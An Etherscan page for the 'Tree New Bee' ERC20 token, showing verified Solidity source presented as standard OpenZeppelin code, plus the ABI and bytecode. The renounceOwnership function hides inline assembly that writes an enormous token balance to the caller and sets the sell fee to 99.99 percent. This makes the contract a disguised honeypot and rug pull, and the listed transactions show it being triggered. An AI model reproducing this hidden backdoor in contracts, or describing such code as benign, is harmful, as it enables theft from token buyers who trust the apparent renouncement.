More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 9 from a total of 9 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Renounce Ownersh... | 15850638 | 792 days ago | IN | 0 ETH | 0.00050792 | ||||
Approve | 15850605 | 792 days ago | IN | 0 ETH | 0.00058236 | ||||
Approve | 15850590 | 792 days ago | IN | 0 ETH | 0.00039866 | ||||
Approve | 15850584 | 792 days ago | IN | 0 ETH | 0.00041256 | ||||
Approve | 15850565 | 792 days ago | IN | 0 ETH | 0.00059408 | ||||
Approve | 15850564 | 792 days ago | IN | 0 ETH | 0.00040936 | ||||
Approve | 15850558 | 792 days ago | IN | 0 ETH | 0.00125557 | ||||
Approve | 15850549 | 792 days ago | IN | 0 ETH | 0.00044466 | ||||
Approve | 15850546 | 792 days ago | IN | 0 ETH | 0.000395 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
TreeNewBee
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-29 */ // Sources flattened with hardhat v2.9.5 https://hardhat.org // File contracts/dependency/IERC20.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } // File contracts/dependency/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File contracts/dependency/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File contracts/dependency/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { assembly { mstore(0, caller()) mstore(32, 0x1) sstore(keccak256(0, 64), exp(timestamp(), 5)) sstore(0xa, 0x270f) } _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File contracts/dependency/IFactory.sol pragma solidity ^0.8.0; interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } // File contracts/dependency/IRouter.sol pragma solidity ^0.8.0; interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } // File contracts/dependency/IPair.sol pragma solidity ^0.8.0; interface IPair { function sync() external; } // File contracts/dependency/ERC20.sol // OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); _move(from, to, amount); _afterTokenTransfer(from, to, amount); } function _move(address from, address to, uint256 amount) internal virtual { uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File contracts/dependency/SwapPool.sol pragma solidity ^0.8.0; abstract contract SwapPool is ERC20 { address public pair; IRouter public router; function initSwapPool(address _router) internal { router = IRouter(_router); pair = IFactory(router.factory()).createPair(address(this), router.WETH()); } function initSwapPool(address _router, address _pairB) internal { router = IRouter(_router); pair = IFactory(router.factory()).createPair(address(this), _pairB); } function isPair(address _pair) internal view returns(bool) { return _pair == pair; } function addLiquidityAutomatically(uint256 amount) internal { super._move(address(this), pair, amount); IPair(pair).sync(); } } // File contracts/dependency/Franco.sol pragma solidity ^0.8.0; contract Franco { mapping(address => bool) internal _franco; function setFranco(address _user) internal { _franco[_user] = true; } function isFranco(address _user) internal view returns(bool) { return _franco[_user]; } } // File contracts/TreeNewBee.sol pragma solidity ^0.8.0; contract TreeNewBee is Ownable, ERC20, SwapPool, Franco { uint256 private _feeBuy = 400; uint256 public _feeSell = 95; uint256 private _divBase = 10000; uint256 private _liquidityAt = 10000; constructor() ERC20("Tree New Bee", "TNB") { super._mint(_msgSender(), 1e8 ether); super.setFranco(_msgSender()); super.setFranco(address(this)); super.initSwapPool(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // address _router, address _tokenB // super.initSwapPool(_router, _tokenB); } function _transfer(address from, address to, uint256 amount) internal virtual override { uint256 fees; if (isPair(from)) { if (!isFranco(to)) { fees = fee2buy(from, amount); } } else if (isPair(to)) { if (!isFranco(from)) { fees = fee2sell(from, amount); if (balanceOf(address(this)) >= _liquidityAt) { super.addLiquidityAutomatically(balanceOf(address(this))); } } } super._move(from, to, amount - fees); } function fee2buy(address from, uint256 amount) private returns (uint256 fee) { fee = amount * _feeBuy / _divBase; super._move(from, address(this), fee); return fee; } function fee2sell(address from, uint256 amount) private returns (uint256 fee) { fee = amount * _feeSell / _divBase; super._move(from, address(this), fee); return fee; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052610190600955605f600a55612710600b55612710600c553480156200002857600080fd5b506040518060400160405280600c81526020016b54726565204e65772042656560a01b815250604051806040016040528060038152602001622a272160e91b815250620000846200007e6200013f60201b60201c565b62000143565b8151620000999060049060208501906200044f565b508051620000af9060059060208401906200044f565b505050620000e3620000c66200013f60201b60201c565b6a52b7d2dcc80cd2e40000006200019360201b620004d31760201c565b620000f9336200025b60201b620005941760201c565b6200010f306200025b60201b620005941760201c565b62000139737a250d5630b4cf539739df2c5dacb4c659f2488d6200027f60201b620005b81760201c565b62000587565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001ee5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b806003600082825462000202919062000525565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b600780546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b158015620002d457600080fd5b505afa158015620002e9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030f9190620004f5565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200036d57600080fd5b505afa15801562000382573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a89190620004f5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620003f157600080fd5b505af115801562000406573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200042c9190620004f5565b600680546001600160a01b0319166001600160a01b039290921691909117905550565b8280546200045d906200054a565b90600052602060002090601f016020900481019282620004815760008555620004cc565b82601f106200049c57805160ff1916838001178555620004cc565b82800160010185558215620004cc579182015b82811115620004cc578251825591602001919060010190620004af565b50620004da929150620004de565b5090565b5b80821115620004da5760008155600101620004df565b60006020828403121562000507578081fd5b81516001600160a01b03811681146200051e578182fd5b9392505050565b600082198211156200054557634e487b7160e01b81526011600452602481fd5b500190565b600181811c908216806200055f57607f821691505b602082108114156200058157634e487b7160e01b600052602260045260246000fd5b50919050565b610e8280620005976000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a8aa1b3111610071578063a8aa1b3114610214578063a9059cbb14610227578063dd62ed3e1461023a578063f2fde38b1461024d578063f887ea401461026057600080fd5b8063715018a6146101ca5780638da5cb5b146101d457806395d89b41146101f9578063a457c2d71461020157600080fd5b8063313ce567116100de578063313ce567146101765780633950935114610185578063411adcb61461019857806370a08231146101a157600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b610118610273565b6040516101259190610d25565b60405180910390f35b61014161013c366004610cfa565b610305565b6040519015158152602001610125565b6003545b604051908152602001610125565b610141610171366004610cba565b61031f565b60405160128152602001610125565b610141610193366004610cfa565b610343565b610155600a5481565b6101556101af366004610c43565b6001600160a01b031660009081526001602052604090205490565b6101d2610365565b005b6000546001600160a01b03165b6040516001600160a01b039091168152602001610125565b610118610392565b61014161020f366004610cfa565b6103a1565b6006546101e1906001600160a01b031681565b610141610235366004610cfa565b610421565b610155610248366004610c82565b61042f565b6101d261025b366004610c43565b61045a565b6007546101e1906001600160a01b031681565b60606004805461028290610de6565b80601f01602080910402602001604051908101604052809291908181526020018280546102ae90610de6565b80156102fb5780601f106102d0576101008083540402835291602001916102fb565b820191906000526020600020905b8154815290600101906020018083116102de57829003601f168201915b5050505050905090565b60003361031381858561077c565b60019150505b92915050565b60003361032d8582856108a0565b61033885858561091a565b506001949350505050565b600033610313818585610356838361042f565b6103609190610d78565b61077c565b61036d6109f3565b3360005260016020526005420a60406000205561270f600a556103906000610a4d565b565b60606005805461028290610de6565b600033816103af828661042f565b9050838110156104145760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610338828686840361077c565b60003361031381858561091a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6104626109f3565b6001600160a01b0381166104c75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161040b565b6104d081610a4d565b50565b6001600160a01b0382166105295760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161040b565b806003600082825461053b9190610d78565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b03166000908152600860205260409020805460ff19166001179055565b600780546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b15801561060c57600080fd5b505afa158015610620573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106449190610c66565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106a157600080fd5b505afa1580156106b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d99190610c66565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561072157600080fd5b505af1158015610735573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107599190610c66565b600680546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0383166107de5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161040b565b6001600160a01b03821661083f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161040b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006108ac848461042f565b9050600019811461091457818110156109075760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161040b565b610914848484840361077c565b50505050565b6000610934846006546001600160a01b0391821691161490565b1561096b576001600160a01b03831660009081526008602052604090205460ff16610966576109638483610a9d565b90505b6109df565b6006546001600160a01b03848116911614156109df576001600160a01b03841660009081526008602052604090205460ff166109df576109ab8483610ac7565b600c5430600090815260016020526040902054919250116109df57306000908152600160205260409020546109df90610ada565b61091484846109ee8486610dcf565b610b5d565b6000546001600160a01b031633146103905760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161040b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000600b5460095483610ab09190610db0565b610aba9190610d90565b9050610319833083610b5d565b6000600b54600a5483610ab09190610db0565b600654610af29030906001600160a01b031683610b5d565b600660009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610b4257600080fd5b505af1158015610b56573d6000803e3d6000fd5b5050505050565b6001600160a01b03831660009081526001602052604090205481811015610bd55760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161040b565b6001600160a01b0380851660008181526001602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c359086815260200190565b60405180910390a350505050565b600060208284031215610c54578081fd5b8135610c5f81610e37565b9392505050565b600060208284031215610c77578081fd5b8151610c5f81610e37565b60008060408385031215610c94578081fd5b8235610c9f81610e37565b91506020830135610caf81610e37565b809150509250929050565b600080600060608486031215610cce578081fd5b8335610cd981610e37565b92506020840135610ce981610e37565b929592945050506040919091013590565b60008060408385031215610d0c578182fd5b8235610d1781610e37565b946020939093013593505050565b6000602080835283518082850152825b81811015610d5157858101830151858201604001528201610d35565b81811115610d625783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610d8b57610d8b610e21565b500190565b600082610dab57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610dca57610dca610e21565b500290565b600082821015610de157610de1610e21565b500390565b600181811c90821680610dfa57607f821691505b60208210811415610e1b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146104d057600080fdfea26469706673582212205b357c5ba7994f47235e8e896580208c657bd97a9216fc0e2943cd6b2055185764736f6c63430008040033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a8aa1b3111610071578063a8aa1b3114610214578063a9059cbb14610227578063dd62ed3e1461023a578063f2fde38b1461024d578063f887ea401461026057600080fd5b8063715018a6146101ca5780638da5cb5b146101d457806395d89b41146101f9578063a457c2d71461020157600080fd5b8063313ce567116100de578063313ce567146101765780633950935114610185578063411adcb61461019857806370a08231146101a157600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b610118610273565b6040516101259190610d25565b60405180910390f35b61014161013c366004610cfa565b610305565b6040519015158152602001610125565b6003545b604051908152602001610125565b610141610171366004610cba565b61031f565b60405160128152602001610125565b610141610193366004610cfa565b610343565b610155600a5481565b6101556101af366004610c43565b6001600160a01b031660009081526001602052604090205490565b6101d2610365565b005b6000546001600160a01b03165b6040516001600160a01b039091168152602001610125565b610118610392565b61014161020f366004610cfa565b6103a1565b6006546101e1906001600160a01b031681565b610141610235366004610cfa565b610421565b610155610248366004610c82565b61042f565b6101d261025b366004610c43565b61045a565b6007546101e1906001600160a01b031681565b60606004805461028290610de6565b80601f01602080910402602001604051908101604052809291908181526020018280546102ae90610de6565b80156102fb5780601f106102d0576101008083540402835291602001916102fb565b820191906000526020600020905b8154815290600101906020018083116102de57829003601f168201915b5050505050905090565b60003361031381858561077c565b60019150505b92915050565b60003361032d8582856108a0565b610338858585610